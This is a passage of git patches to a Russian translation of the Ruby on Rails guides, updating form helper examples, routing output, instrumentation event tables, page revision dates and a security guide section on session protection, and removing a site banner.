[RefineryCMS](https://github.com/refinery/refinerycms), CMS engine. +Для демонстрации других engine, смотрите [Devise](https://github.com/plataformatec/devise), engine, предоставляющий аутентификацию для содержащих его приложений, или [Thredded](https://github.com/thredded/thredded), engine, представляющий функционал форума. Также имеется [Spree](https://github.com/spree/spree), предоставляющий платформу электронной коммерции, и [Refinery CMS](https://github.com/refinery/refinerycms), CMS engine. Наконец, engine не был бы возможен без работы James Adam, Piotr Sarnacki, Rails Core Team, и ряда других людей. Если вы с ними встретитесь, не забудьте поблагодарить! @@ -358,12 +358,12 @@ NOTE: Поскольку `has_many` определена в классе вну ```html+erb

    New comment

    -<%= form_for [@article, @article.comments.build] do |f| %> +<%= form_with(model: [@article, @article.comments.build], local: true) do |form| %>

    - <%= f.label :text %>
    - <%= f.text_area :text %> + <%= form.label :text %>
    + <%= form.text_area :text %>

    - <%= f.submit %> + <%= form.submit %> <% end %> ``` @@ -450,7 +450,7 @@ Engine не может найти партиал, требуемый для ре $ rails new unicorn ``` -Обычно определение engine в Gemfile выполняется как определение обычного повседневного гема. +Обычно определение engine в `Gemfile` выполняется как определение обычного повседневного гема. ```ruby gem 'devise' @@ -535,8 +535,8 @@ rails g model user name:string ```html+erb
    - <%= f.label :author_name %>
    - <%= f.text_field :author_name %> + <%= form.label :author_name %>
    + <%= form.text_field :author_name %>
    ``` @@ -964,7 +964,7 @@ INFO. Помните, что для использования языков, т ### Отдельные ресурсы и прекомпиляция Бывают ситуации, когда ресурсы engine не требуются приложению. Например, скажем, вы создали административный функционал, существующий только для engine. В этом случае приложению не нужно требовать `admin.css` или `admin.js`. Только административному макету гема необходимы эти ресурсы. Нет смысла, чтобы приложение включало `"blorg/admin.css"` в свои таблицы стилей. В такой ситуации следует явно определить эти ресурсы для прекомпиляции. -Это сообщит sprockets добавить ресурсы engine при вызове `bin/rails assets:precompile`. +Это сообщит Sprockets добавить ресурсы engine при вызове `bin/rails assets:precompile`. Ресурсы для прекомпиляции можно определить в `engine.rb` diff --git a/source/form_helpers.md b/source/form_helpers.md index c7be8606..1c7ac23d 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -251,10 +251,12 @@ end Итоговый HTML: ```html - - - - + + + + + + ``` @@ -276,9 +278,11 @@ end которая выдаст такой результат: ```html -
    - - + + + + +
    ``` diff --git a/source/getting_started.md b/source/getting_started.md index 448f5101..3fb23df2 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -113,19 +113,19 @@ $ cd blog |app/ |Содержит контроллеры, модели, вьюхи, хелперы, рассыльщики, каналы, задания и ассеты вашего приложения. Мы рассмотрим эту папку подробнее далее.| |bin/ |Содержит Rails скрипты которые стартуют ваше приложение, также директория может содержать другие скрипты которые вы используете для настройки, обновления, деплоя или запуска.| |config/ |Конфигурации маршрутов, базы данных вашего приложения, и т.д. Более подробно это раскрыто в [Конфигурирование приложений на Rails](/configuring-rails-applications)| -|config.ru |Конфигурация Rack для серверов, основанных на Rack, используемых для запуска приложения.| +|config.ru |Конфигурация Rack для серверов, основанных на Rack, используемых для запуска приложения. Подробнее о Rack смотрите на [сайте Rack](https://rack.github.io/).| |db/ |Содержит текущую схему вашей базы данных, а также миграции базы данных.| -|Gemfile
    Gemfile.lock|Эти файлы позволяют указать, какие зависимости от гемов нужны для вашего приложения на Rails. Эти файлы используются гемом Bundler. Подробнее о Bundler смотрите на [сайте Bundler](https://bundler.io)| +|Gemfile
    Gemfile.lock|Эти файлы позволяют указать, какие зависимости от гемов нужны для вашего приложения на Rails. Эти файлы используются гемом Bundler. Подробнее о Bundler смотрите на [сайте Bundler](https://bundler.io).| |lib/ |Внешние модули для вашего приложения.| |log/ |Файлы логов приложения.| |package.json |Этот файл позволяет указать, какие зависимости npm необходимы для приложения Rails. Этот файл используется Yarn. Подробнее о Yarn смотрите на [сайте Yarn](https://yarnpkg.com/lang/en/).| |public/ |Единственная папка, которая доступна извне как есть. Содержит статичные файлы и скомпилированные ассеты.| -|Rakefile |Этот файл находит и загружает задачи, которые могут быть запущены в командной строке. Определенная задача доступна во всех компонентах Rails. Вместо изменения Rakefile, можно добавить свои собственные задачи, добавив файлы в директорию `lib/tasks` приложения.| +|Rakefile |Этот файл находит и загружает задачи, которые могут быть запущены в командной строке. Определенная задача доступна во всех компонентах Rails. Вместо изменения `Rakefile`, можно добавить свои собственные задачи, добавив файлы в директорию `lib/tasks` приложения.| |README.md |Это вводный мануал для вашего приложения. Его следует отредактировать, чтобы рассказать остальным, что ваше приложение делает, как его настроить, и т.п.| |test/ |Юнит-тесты, фикстуры и прочий аппарат тестирования. Это раскрывается в руководстве [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications)| |tmp/ |Временные файлы (такие как файлы кэша и pid)| |vendor/ |Место для кода внешних разработчиков. В типичном приложении на Rails включает внешние гемы.| -|.gitignore |Этот файл сообщает git, какие файлы (явно или по шаблону) ему следует игнорировать. Подробнее об игнорировании файлов смотрите [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files). +|.gitignore |Этот файл сообщает git, какие файлы (явно или по шаблону) ему следует игнорировать. Подробнее об игнорировании файлов смотрите [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files).| |.ruby-version |Этот файл содержит дефолтную версию Ruby.| Hello, Rails! @@ -250,16 +250,17 @@ end ```bash $ bin/rails routes - Prefix Verb URI Pattern Controller#Action - articles GET /articles(.:format) articles#index - POST /articles(.:format) articles#create - new_article GET /articles/new(.:format) articles#new -edit_article GET /articles/:id/edit(.:format) articles#edit - article GET /articles/:id(.:format) articles#show - PATCH /articles/:id(.:format) articles#update - PUT /articles/:id(.:format) articles#update - DELETE /articles/:id(.:format) articles#destroy - root GET / welcome#index + Prefix Verb URI Pattern Controller#Action +welcome_index GET /welcome/index(.:format) welcome#index + articles GET /articles(.:format) articles#index + POST /articles(.:format) articles#create + new_article GET /articles/new(.:format) articles#new + edit_article GET /articles/:id/edit(.:format) articles#edit + article GET /articles/:id(.:format) articles#show + PATCH /articles/:id(.:format) articles#update + PUT /articles/:id(.:format) articles#update + DELETE /articles/:id(.:format) articles#destroy + root GET / welcome#index ``` В следующем разделе мы добавим возможность создания новых статей и сможем просматривать их. Это буквы "C" и "R" из CRUD: create и read. Форма для этого будет выглядеть так: @@ -374,16 +375,17 @@ end ```bash $ bin/rails routes - Prefix Verb URI Pattern Controller#Action - articles GET /articles(.:format) articles#index - POST /articles(.:format) articles#create - new_article GET /articles/new(.:format) articles#new -edit_article GET /articles/:id/edit(.:format) articles#edit - article GET /articles/:id(.:format) articles#show - PATCH /articles/:id(.:format) articles#update - PUT /articles/:id(.:format) articles#update - DELETE /articles/:id(.:format) articles#destroy - root GET / welcome#index + Prefix Verb URI Pattern Controller#Action +welcome_index GET /welcome/index(.:format) welcome#index + articles GET /articles(.:format) articles#index + POST /articles(.:format) articles#create + new_article GET /articles/new(.:format) articles#new + edit_article GET /articles/:id/edit(.:format) articles#edit + article GET /articles/:id(.:format) articles#show + PATCH /articles/:id(.:format) articles#update + PUT /articles/:id(.:format) articles#update + DELETE /articles/:id(.:format) articles#destroy + root GET / welcome#index ``` Хелпер `articles_path` сообщает Rails указать форме на URI Pattern, связанный с префиксом `articles`; и форма пошлет (по умолчанию) запрос `POST` на этот маршрут. Он связан с экшном `create` текущего контроллера, `ArticlesController`. @@ -484,7 +486,7 @@ Rails запустит эту команду миграции и сообщит, == CreateArticles: migrated (0.0020s) ========================================= ``` -NOTE. Так как вы работаете по умолчанию в среде development, эта команда будет применена к базе данных, определенной в разделе `development` вашего файла `config/database.yml`. Если хотите запустить миграции в другой среде, например в production, следует явно передать ее при вызове команды: `bin/rails db:migrate RAILS_ENV=production`. +NOTE: Так как вы работаете по умолчанию в среде development, эта команда будет применена к базе данных, определенной в разделе `development` вашего файла `config/database.yml`. Если хотите запустить миграции в другой среде, например в production, следует явно передать ее при вызове команды: `bin/rails db:migrate RAILS_ENV=production`. ### Сохранение данных в контроллере diff --git a/source/index.yml b/source/index.yml index f711efd4..d5467bb3 100644 --- a/source/index.yml +++ b/source/index.yml @@ -15,14 +15,14 @@ pages: - title: Rails для начинающих path: getting-started-with-rails file: getting_started.md - revision: 0e573a5fb83c22a3902eef5be44287e7179b745b - date: 15/09/2017 + revision: c3d1fd13da0996182389c4ae83e971134e6d81f0 + date: 09/10/2017 - title: Основы Active Record path: active-record-basics file: active_record_basics.md - revision: bf48e90e6925eea5ba74a09988d2b20dd553c845 - date: 23/08/2017 + revision: 64b45b2fe1b9f64517f88c3b69c851d9c60ad77c + date: 18/10/2017 - title: Миграции базы данных Rails path: rails-database-migrations @@ -45,8 +45,8 @@ pages: - title: Связи Active Record path: active-record-associations file: association_basics.md - revision: 906c1d8f59a4c37c8e3e2efe9f6f594aeb597d69 - date: 24/08/2017 + revision: 8c2ca4d4fc0084376a917429f9ad389f1e209909 + date: 20/09/2017 - title: Интерфейс запросов Active Record path: active-record-query-interface @@ -63,8 +63,8 @@ pages: - title: Основы Active Model path: active-model-basics file: active_model_basics.md - revision: 6f71e508a1272170dc93a31c5fc677f7f802d9eb - date: 08/04/2017 + revision: de2afdc457d63ee628b5cac4e7bb73812e016e38 + date: 06/10/2017 - title: Обзор Action View path: action-view-overview @@ -75,20 +75,20 @@ pages: - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails file: layouts_and_rendering.md - revision: b6929552148c42f6d9687957d316c0ee555f246d - date: 01/07/2017 + revision: 521266f913083c3029567ffe647e08e39af7f18a + date: 27/09/2017 - title: Хелперы форм Rails path: rails-form-helpers file: form_helpers.md - revision: 06580a4f97b2ac12b5a85defde19862537995104 - date: 21/04/2017 + revision: c330cc85a7e9fa11be160e810c77a3e1507fb25d + date: 16/09/2017 - title: Обзор Action Controller path: action-controller-overview file: action_controller_overview.md - revision: ca18922ac23be2cde6963fae9b193c9111bec6f8 - date: 13/09/2017 + revision: 4db3449d34cfad338114d00e760bb29f263916db + date: 25/10/2017 - title: Роутинг в Rails path: rails-routing @@ -99,8 +99,8 @@ pages: - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md - revision: 56ac13e8e4549c680900eab14079881f5b2a38cf - date: 06/09/2017 + revision: d86370252ea33c5b6fba2d53efa15b1d0082a487 + date: 24/10/2017 - title: Инструметарий Active Support path: active-support-instrumentation @@ -117,8 +117,8 @@ pages: - title: Основы Action Mailer path: action-mailer-basics file: action_mailer_basics.md - revision: 4b3ee155f916a60da34c4f3df72b83adc891779e - date: 26/08/2017 + revision: abd4fd43692cd883068ad27f620fd4c00e546f91 + date: 24/09/2017 - title: Основы Active Job path: active_job_basics @@ -147,8 +147,8 @@ pages: - title: Конфигурирование приложений на Rails path: configuring-rails-applications file: configuring.md - revision: ca18922ac23be2cde6963fae9b193c9111bec6f8 - date: 13/09/2017 + revision: 823c17e4ab6cad89ebb711e6989327be170867e0 + date: 07/10/2017 - title: Руководство по командной строке Rails path: a-guide-to-the-rails-command-line @@ -165,8 +165,8 @@ pages: - title: Asset Pipeline path: asset-pipeline file: asset_pipeline.md - revision: bf48e90e6925eea5ba74a09988d2b20dd553c845 - date: 23/08/2017 + revision: de2afdc457d63ee628b5cac4e7bb73812e016e38 + date: 06/10/2017 - title: Работа с JavaScript в Rails path: working-with-javascript-in-rails @@ -177,8 +177,8 @@ pages: - title: Engine для начинающих path: engines file: engines.md - revision: 10765c047fc648f69c62eefe1529ee09cf786a43 - date: 15/08/2017 + revision: 0149481b1b29ac15197f1abe8a3961d8cb2926b6 + date: 13/10/2017 - title: Процесс инициализации в Rails path: initialization @@ -195,14 +195,14 @@ pages: - title: Обзор Action Cable path: action-cable-overview file: action_cable_overview.md - revision: af954ddd54e2b720d84bbf781600a4ef30b0c345 - date: 08/08/2017 + revision: 3b66804c81c0698e96ceebd7dd02fa0dc4c54e26 + date: 26/10/2017 - title: Основы создания плагинов Rails path: plugins file: plugins.md - revision: e484a2d1090079ed7b4a3a398ae0fee5a12e648b - date: 17/09/2017 + revision: de2afdc457d63ee628b5cac4e7bb73812e016e38 + date: 06/10/2017 - title: Rails on Rack path: rails-on-rack @@ -291,8 +291,8 @@ pages: - title: Заметки о релизе Ruby on Rails 4.2 path: 4_2_release_notes file: 4_2_release_notes.md - revision: 63884a1e359fb22d62bb47f030a9d62830a7e8ad - date: 06/06/2016 + revision: de2afdc457d63ee628b5cac4e7bb73812e016e38 + date: 06/10/2017 - title: Заметки о релизе Ruby on Rails 5.0 path: 5_0_release_notes diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index 532db3e7..3a752885 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -67,23 +67,25 @@ end

    Listing Books

    - - - - - - - - -<% @books.each do |book| %> - - - - - - - -<% end %> + + + + + + + + + + <% @books.each do |book| %> + + + + + + + + <% end %> +
    TitleSummary
    <%= book.title %><%= book.content %><%= link_to "Show", book %><%= link_to "Edit", edit_book_path(book) %><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %>
    TitleContent
    <%= book.title %><%= book.content %><%= link_to "Show", book %><%= link_to "Edit", edit_book_path(book) %><%= link_to "Destroy", book, method: :delete, data: { confirm: "Are you sure?" } %>

    @@ -217,12 +219,12 @@ NOTE: По умолчанию при использовании опции `:pla Вы можете вернуть HTML, используя опцию `:html` метода `render`: ```ruby -render html: "Not Found".html_safe +render html: helpers.tag.strong('Not Found') ``` TIP: Это полезно когда вы хотите отрендерить небольшой кусочек HTML кода. Однако, если у вас достаточно сложная разметка, стоит рассмотреть выделение её в файл шаблона. -NOTE: Когда используется опция `html:`, HTML объекты будут экранироваться, если строка не помечена как HTML-безопасная с помощью метода `html_safe`. +NOTE: Когда используется опция `html:`, HTML объекты будут экранироваться, если строка не состоит из API, поддерживающих `html_safe`. #### Рендеринг JSON diff --git a/source/plugins.md b/source/plugins.md index 34efc9b5..5064bce6 100644 --- a/source/plugins.md +++ b/source/plugins.md @@ -339,7 +339,7 @@ end ### Добавление метода экземпляра -Этот плагин добавит метод 'squawk' в любой объект Active Record, который вызовет 'acts_as_yaffle'. Метод 'squawk' просто установит значение одному из полей в базе данных. +Этот плагин добавит метод 'squawk' в любой объект Active Record, который вызовет `acts_as_yaffle`. Метод 'squawk' просто установит значение одному из полей в базе данных. Для начала напишем падающий тест, показывающий желаемое поведение: @@ -370,7 +370,7 @@ class ActsAsYaffleTest < ActiveSupport::TestCase end ``` -Запустите тест, чтобы убедиться, что последние два теста упадут с ошибкой, содержащей "NoMethodError: undefined method `squawk'", затем обновите 'acts_as_yaffle.rb', чтобы он выглядел так: +Запустите тест, чтобы убедиться, что последние два теста упадут с ошибкой, содержащей "NoMethodError: undefined method `squawk'", затем обновите `acts_as_yaffle.rb`, чтобы он выглядел так: ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -423,7 +423,7 @@ send("#{self.class.yaffle_text_field}=", string.to_squawk) Публикация вашего гема ---------------------- -Плагины в виде гемов, которые в текущий момент в разработке, могут с легкостью быть доступны из любого репозитория Git. Чтобы поделиться гемом Yaffle с другими, просто передайте код в репозиторий Git (такой как GitHub) и добавьте строчку в Gemfile требуемого приложения: +Плагины в виде гемов, которые в текущий момент в разработке, могут с легкостью быть доступны из любого репозитория Git. Чтобы поделиться гемом Yaffle с другими, просто передайте код в репозиторий Git (такой как GitHub) и добавьте строчку в `Gemfile` требуемого приложения: ```ruby gem "yaffle", git: "https://github.com/rails/yaffle.git" From 0f6c93fedf367da7715a0625ce493ba0ce370f08 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 12 Nov 2017 21:06:30 +0300 Subject: [PATCH 342/932] Remove banner --- app/views/layouts/application.html.haml | 6 +++--- app/views/static_docs/pages/show.html.haml | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index 46a24699..4b2ed8bd 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -44,9 +44,9 @@ %a.twitter-follow-button{"data-lang" => "ru", href: "https://twitter.com/rusrails"} - if content_for?(:menu) .well.menu= yield(:menu) - - if @page.try(:path) != 'index' - .well.banner300.banner - = render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' + -# - if @page.try(:path) != 'index' + -# .well.banner300.banner + -# = render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' .well.banner300.banner = render "shared/adsense", position: 'sidebar' .span9.content.pull-left diff --git a/app/views/static_docs/pages/show.html.haml b/app/views/static_docs/pages/show.html.haml index db3b6fda..490d8088 100644 --- a/app/views/static_docs/pages/show.html.haml +++ b/app/views/static_docs/pages/show.html.haml @@ -1,6 +1,6 @@ -- if @page && @page.path == 'index' - #main_page_banner.well - = render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' +-# - if @page && @page.path == 'index' +-# #main_page_banner.well +-# = render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' - cache ['v1', @page] do = @page.rendered_body(self) From af3358a734a33fa0bef166518309d35e36a601be Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Wed, 8 Nov 2017 23:44:08 +0300 Subject: [PATCH 343/932] Update 08-11-2017 --- source/action_controller_overview.md | 4 +- source/active_job_basics.md | 2 +- source/active_support_instrumentation.md | 150 ++++++++++++++++++--- source/development_dependencies_install.md | 2 +- source/index.yml | 8 +- source/security.md | 65 ++++++--- 6 files changed, 185 insertions(+), 46 deletions(-) diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index 36c0968c..c4281fe2 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -317,7 +317,7 @@ end В большинстве хранилищ этот ID используется для поиска данных сессии на сервере, в т.ч. в таблице базы данных. Имеется одно исключение, это дефолтное и рекомендуемое хранилище сессии - CookieStore - которое хранит все данные сессии в куки (ID остается по-прежнему доступным, если он нужен). Преимущества его заключаются в легкости, отсутствии необходимости настройки для нового приложения в порядке использования сессии. Данные в куки криптографически подписаны, что делает их защищенными от взлома. И они также зашифрованы, таким образом любой получивший к ним доступ, не сможет прочитать их содержимое (Rails не примет их, если они были отредактированы). -CookieStore могут хранить около 4kB данных - намного меньше, чем остальные - но этого обычно хватает. Хранение большего количества данных в сессии не рекомендуется, вне зависимости от того, какое хранилище сессии используется в приложении. Особенно следует избегать хранения в сессии сложных объектов (ничего, кроме простых объектов Ruby, наиболее распространенным примером является экземпляры модели), так как сервер может не собрать их между запросами, что приведет к ошибке. +CookieStore могут хранить около 4 Кбайт данных - намного меньше, чем остальные - но этого обычно хватает. Хранение большего количества данных в сессии не рекомендуется, вне зависимости от того, какое хранилище сессии используется в приложении. Особенно следует избегать хранения в сессии сложных объектов (ничего, кроме простых объектов Ruby, наиболее распространенным примером является экземпляры модели), так как сервер может не собрать их между запросами, что приведет к ошибке. Если пользовательские сессии не хранят критически важные данные или нет необходимости в ее сохранности на долгий период (скажем, если она используется только для флеш-сообщений), можно рассмотреть использование `ActionDispatch::Session::CacheStore`. Он сохранит сессии с использованием реализации кэша, которая была настроена для приложения. Преимущество этого заключается в том, что для хранения сессий можно использовать существующую инфраструктуру кэширования без необходимости дополнительных настроек или администрирования. Недостатком, разумеется, является то, что сессии будут недолговечными и могут исчезнуть в любое время. @@ -879,7 +879,7 @@ class ClientsController < ApplicationController end ``` -Это прочтет и передаст файл блоками в 4kB за раз, избегая загрузки в память сразу целого файла. Можно отключить потоковую передачу с помощью опции `:stream` или отрегулировать размер блока с помощью опции `:buffer_size`. +Это прочтет и передаст файл блоками в 4 Кбайт за раз, избегая загрузки в память сразу целого файла. Можно отключить потоковую передачу с помощью опции `:stream` или отрегулировать размер блока с помощью опции `:buffer_size`. Если не указан `:type`, он будет определяться по расширению файла, указанного в `:filename`. Если для расширения не зарегистрирован тип содержимого, будет использован `application/octet-stream`. diff --git a/source/active_job_basics.md b/source/active_job_basics.md index 16e58995..d7e04f1f 100644 --- a/source/active_job_basics.md +++ b/source/active_job_basics.md @@ -127,7 +127,7 @@ end ### Запуск бэкенда -Поскольку задания запускаются параллельно с вашим Rails приложением, большинство библиотек для работы с очередями требуют запуска специфичной для библиотеки службы очереди (помимо старта Rails приложения) для обработки заданий. Обратитесь к документации по библиотеке за инструкциями по запуску бэкенда очереди. +Поскольку задания запускаются параллельно с вашим Rails приложением, большинство библиотек для работы с очередями требуют запуска специфичного для библиотеки сервиса очередей (помимо старта Rails приложения) для обработки заданий. Обратитесь к документации по библиотеке за инструкциями по запуску бэкенда очереди. Вот неполный список документации: diff --git a/source/active_support_instrumentation.md b/source/active_support_instrumentation.md index eb120cf7..ddecf47a 100644 --- a/source/active_support_instrumentation.md +++ b/source/active_support_instrumentation.md @@ -1,5 +1,5 @@ Инструментарий Active Support -============================ +============================= Active Support — часть ядра Rails, которая предоставляет расширение языка Ruby, утилиты и другие возможности. Она включает инструментарий API, который может использоваться внутри приложения, для отслеживания определенных действий, которые возникают как в коде Ruby, так и внутри приложения Rails и самого фреймворка. Однако, она не ограничена Rails. При необходимости ее можно независимо использовать в других скриптах Ruby если вы желаете. @@ -15,7 +15,7 @@ Active Support — часть ядра Rails, которая предостав -------------------------------------------------------------------------------- Введение в инструментарий ------------------------- +------------------------- Инструментарий API, предоставленный Active Support, позволяет разработчикам создавать хуки, которыми могут пользоваться другие разработчики. Некоторые из них присутствуют в фреймворке Rails, как показано [ниже](#huki-freymvorka-rails). С этим API, разработчики могут быть оповещены при возникновении определенного события в их приложении или другом коде Ruby. @@ -187,7 +187,7 @@ INFO. Дополнительные ключи могут быть добавле | Ключ | Значение | | --------- | ------------------------------ | -| `:filter` | Фильтр, прервавший экшн | +| `:filter` | Фильтр, прервавший экшн | ```ruby { @@ -195,6 +195,12 @@ INFO. Дополнительные ключи могут быть добавле } ``` +### unpermitted_parameters.action_controller + +| Ключ | Значение | +| ------- | ------------------- | +| `:keys` | Неразрешенные ключи | + Action View ----------- @@ -287,7 +293,7 @@ Action Mailer | Ключ | Значение | | ------------- | -------------------------------------------- | -| `:mailer` | Название класса рассыльщика | +| `:mailer` | Имя класса рассыльщика | | `:message_id` | ID сообщения, создается Mail гемом | | `:subject` | Тема сообщения | | `:to` | Адресат(ы) сообщения | @@ -302,7 +308,7 @@ Action Mailer mailer: "Notification", message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", subject: "Rails Guides", - to: ["users@rails.com", "ddh@rails.com"], + to: ["users@rails.com", "dhh@rails.com"], from: ["me@rails.com"], date: Sat, 10 Mar 2012 14:18:09 +0100, mail: "..." # опущено для краткости @@ -313,7 +319,7 @@ Action Mailer | Ключ | Значение | | ------------- | -------------------------------------------- | -| `:mailer` | Название класса рассыльщика | +| `:mailer` | Имя класса рассыльщика | | `:message_id` | ID сообщения, создается Mail гемом | | `:subject` | Тема сообщения | | `:to` | Адресат(ы) сообщения | @@ -328,13 +334,29 @@ Action Mailer mailer: "Notification", message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", subject: "Rails Guides", - to: ["users@rails.com", "ddh@rails.com"], + to: ["users@rails.com", "dhh@rails.com"], from: ["me@rails.com"], date: Sat, 10 Mar 2012 14:18:09 +0100, mail: "..." # опущено для краткости } ``` +### process.action_mailer + +| Ключ | Значение | +| ------------- | ------------------------ | +| `:mailer` | Имя класса рассыльщика | +| `:action` | Экшн | +| `:args` | Аргументы | + +```ruby +{ + mailer: "Notification", + action: "welcome_email", + args: [] +} +``` + Active Support -------------- @@ -342,17 +364,17 @@ Active Support | Ключ | Значение | | ------------------ | ------------------------------------------------------- | -| `:key` | Ключ, используемый при хранении | -| `:hit` | Если это чтение успешно | +| `:key` | Ключ, используемый при хранении | +| `:hit` | Если это чтение успешно | | `:super_operation` | :fetch добавляется когда чтение используется с `#fetch` | ### cache_generate.active_support Это событие используется только когда `#fetch` вызывается с блоком. -| Ключ | Значение | -| ------ | ------------------------------- | -| `:key` | Ключ используемый при хранении | +| Ключ | Значение | +| ------ | -------------------------------- | +| `:key` | Ключ, используемый при хранении | INFO. Опции, переданные в вызов, будут объединены с информацией при записи в хранилище. @@ -367,8 +389,8 @@ INFO. Опции, переданные в вызов, будут объедин Это событие используется только когда `#fetch` вызывается с блоком. -| Ключ | Значение | -| ------ | ------------------------------- | +| Ключ | Значение | +| ------ | -------------------------------- | | `:key` | Ключ, используемый при хранении | INFO. Опции, переданные в вызов, будут объединены с информацией. @@ -381,8 +403,8 @@ INFO. Опции, переданные в вызов, будут объедин ### cache_write.active_support -| Ключ | Значение | -| ------ | ------------------------------- | +| Ключ | Значение | +| ------ | -------------------------------- | | `:key` | Ключ, используемый при хранении | INFO. Кэш хранилище может добавить свой собственный ключ. @@ -395,8 +417,8 @@ INFO. Кэш хранилище может добавить свой собст ### cache_delete.active_support -| Ключ | Значение | -| ------ | ------------------------------- | +| Ключ | Значение | +| ------ | -------------------------------- | | `:key` | Ключ, используемый при хранении | ```ruby @@ -407,8 +429,8 @@ INFO. Кэш хранилище может добавить свой собст ### cache_exist?.active_support -| Ключ | Значение | -| ------ | ------------------------------- | +| Ключ | Значение | +| ------ | -------------------------------- | | `:key` | Ключ, используемый при хранении | ```ruby @@ -448,6 +470,92 @@ Active Job | `:adapter` | Объект QueueAdapter, обрабатывающий задание | | `:job` | Объект задания | +Action Cable +------------ + +### perform_action.action_cable + +| Ключ | Значение | +| ---------------- | ------------------------- | +| `:channel_class` | Имя класса канала | +| `:action` | Экшн | +| `:data` | Данные хэша | + +### transmit.action_cable + +| Ключ | Значение | +| ---------------- | ------------------------- | +| `:channel_class` | Имя класса канала | +| `:data` | Данные хэша | +| `:via` | С помощью | + +### transmit_subscription_confirmation.action_cable + +| Ключ | Значение | +| ---------------- | ------------------------- | +| `:channel_class` | Имя класса канала | + +### transmit_subscription_rejection.action_cable + +| Ключ | Значение | +| ---------------- | ------------------------- | +| `:channel_class` | Имя класса канала | + +### broadcast.action_cable + +| Ключ | Значение | +| --------------- | -------------------- | +| `:broadcasting` | Имя трансляции | +| `:message` | Сообщение хэша | +| `:coder` | Кодировщик | + +Active Storage (Rails 5.2) +-------------------------- + +### service_upload.active_storage + +| Ключ | Значение | +| ------------ | --------------------------------------------- | +| `:key` | Защищенный токен | +| `:service` | Имя сервиса | +| `:checksum` | Контрольная сумма для обеспечения целостности | + +### service_streaming_download.active_storage + +| Ключ | Значение | +| ------------ | ------------------- | +| `:key` | Защищенный токен | +| `:service` | Имя сервиса | + +### service_download.active_storage + +| Ключ | Значение | +| ------------ | ------------------- | +| `:key` | Защищенный токен | +| `:service` | Имя сервиса | + +### service_delete.active_storage + +| Ключ | Значение | +| ------------ | ------------------- | +| `:key` | Защищенный токен | +| `:service` | Имя сервиса | + +### service_exist.active_storage + +| Ключ | Значение | +| ------------ | ----------------------------------- | +| `:key` | Защищенный токен | +| `:service` | Имя сервиса | +| `:exist` | Существует или же нет файл или blob | + +### service_url.active_storage + +| Ключ | Значение | +| ------------ | ------------------- | +| `:key` | Защищенный токен | +| `:service` | Имя сервиса | +| `:url` | Сгенерированный url | Railties -------- @@ -476,7 +584,7 @@ Rails Блок получает следующие аргументы: -* Название события +* Имя события * Время начала * Время окончания * Уникальный ID этого события diff --git a/source/development_dependencies_install.md b/source/development_dependencies_install.md index 5f7e074c..399317c4 100644 --- a/source/development_dependencies_install.md +++ b/source/development_dependencies_install.md @@ -329,7 +329,7 @@ $ sudo systemctl start redis # portmaster databases/redis ``` -### Настройка Active Storage +### Настройка Active Storage (Rails 5.2) При работе с Active Storage важно отметить, что следует устанавливать зависимости JavaScript во время работы над этим разделом кодовой базы. Чтобы установить эти зависимости, в системе должен быть доступен Yarn, пакетный менеджер Node.js. Предпосылкой для установки этого пакетного менеджера является установка [Node.js](https://nodejs.org). diff --git a/source/index.yml b/source/index.yml index d5467bb3..38b38274 100644 --- a/source/index.yml +++ b/source/index.yml @@ -105,8 +105,8 @@ pages: - title: Инструметарий Active Support path: active-support-instrumentation file: active_support_instrumentation.md - revision: bab665f8936cd6a5c05e2f31b1a11f820b1d7ed9 - date: 08/11/2016 + revision: 92a19f76719ec67d469b58dc05b6ebf6a184c6b4 + date: 14/10/2017 - title: API интернационализации Rails (I18n) path: rails-internationalization-i18n-api @@ -135,8 +135,8 @@ pages: - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide file: security.md - revision: 76d373bc4196446a59c60e6c500def2c27e5b471 - date: 18/09/2017 + revision: 04a7b7165ad204014c5850f62c921f7291d6ba5d + date: 10/10/2017 - title: Отладка приложений на Rails path: debugging-rails-applications diff --git a/source/security.md b/source/security.md index 007853fa..0816c440 100644 --- a/source/security.md +++ b/source/security.md @@ -59,9 +59,9 @@ WARNING: _Воровство ID пользовательской сессии п * Перехват куки в незащищенной сети. Беспроводная LAN может быть примером такой сети. В незашифрованной беспроводной LAN очень легко прослушивать трафик всех присоединенных клиентов. Для создателя веб-приложений это означает, что _необходимо предоставить безопасное соединение через SSL_. В Rails 3.1 и позже это может быть выполнено с помощью принуждения к соединению SSL в файле конфигурации приложения: - ```ruby - config.force_ssl = true - ``` +```ruby +config.force_ssl = true +``` * Многие не очищают куки поле работы на публичном терминале. Поэтому, если предыдущий пользователь не вышел из веб-приложения, вы сможете его использовать как этот пользователь. Обеспечьте пользователя _кнопкой выхода_ в веб-приложении, и _сделайте ее заметной_. * Часто межсайтовый скриптинг (XSS, cross-site scripting) ставит целью получение куки пользователя. [Подробнее о XSS](#cross-site-scripting-xss) вы прочитаете позже. @@ -76,22 +76,27 @@ WARNING: _Воровство ID пользовательской сессии п * _Не храните большие объекты в 